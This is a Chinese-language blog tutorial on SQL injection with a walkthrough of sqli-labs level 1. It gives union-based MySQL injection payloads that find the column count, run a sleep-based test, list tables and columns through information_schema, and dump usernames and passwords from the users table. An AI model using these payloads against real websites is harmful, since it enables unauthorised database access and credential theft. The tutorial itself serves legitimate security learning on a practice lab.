sql注入简介-sqli-labs-1


0x00 sql注入简介:

​ SQL注入即是指 web应用程序 对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的 SQL语句 ,在管理员不知情的情况下实现非法操作,以此来实现欺骗 数据库服务器 执行非授权的任意查询,从而进一步得到相应的数据信息。
sql注入产生的原理:可控变量带入数据库查询

0x01 mysql注入必懂的知识点

1)在mysql5.0版本以上中,存在一个自带数据库名information_schema自带 记录所有数据库名 表名 列名
2)数据库中符号“.”代表下一级,如user.user表示数据库user下的user表
3)information_schema.tables:记录所有表名信息的表
4)information_schema.columns:记录所有列名信息的表
5)table_schema:数据库名
6)table_name:表名
7)column_name:字段名
8)group_concat(table_name):查询所有的表
9) 猜解多个数据:limit x,1 (变动x)
10)注释符:– (后面有空格)(也就是–+) ,/**/ ,
payload结尾单引号闭合

0x02 简单语句使用

查询指定数据库下的表名信息

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库')#    或者--+

查询指定表下的列名信息

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='表名')#     或者--+

查询指定数据

1' union select 1,(select group_concat(user,password) from 列名)#   或者--+

简单信息收集

(数据库版本version() 用户user() 名字databese() 操作系统@@version_compile_os)

0x03 sqli-labs-1

打开靶场第一关脚本,在脚本里添加如下代码,使得我们输入sql命令时页面会回显出我们使用的命令
在这里插入图片描述
首先判断注入类型
输入 id=1’ 页面回显错误 在后面加上 id=1‘--+ 注释符后回显正确说明为字符型注入
在这里插入图片描述
在这里插入图片描述
猜解字段数

1' order by 3 --+ 回显正常
1’ order by 4--+ 回显错误
判断字段数为3,接下来可以进行简单的信息收集(数据库版本version() 用户user() 名字databese() 操作系统@@version_compile_os)
sleep回显判断:?id=1' and sleep(5)--+

查询数据库以及用户

id=-1' union select 1,database(),user()--+

在这里插入图片描述
查询数据库中表信息

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),user()--+

在这里插入图片描述
通过从库中查询表信息,查询到敏感数据表 users
接下里从表中查看存储信息

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),user()--+

在这里插入图片描述
查看到有username password账户密码信息,继续查询信息
查询users表中字段具体信息

id=-1' union select 1,(select group_concat(username,password) from users),user()--+

注入查询成功
在这里插入图片描述

‘1’ 字符型

‘’ 数字型


文章作者: 告白
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 告白 !
  目录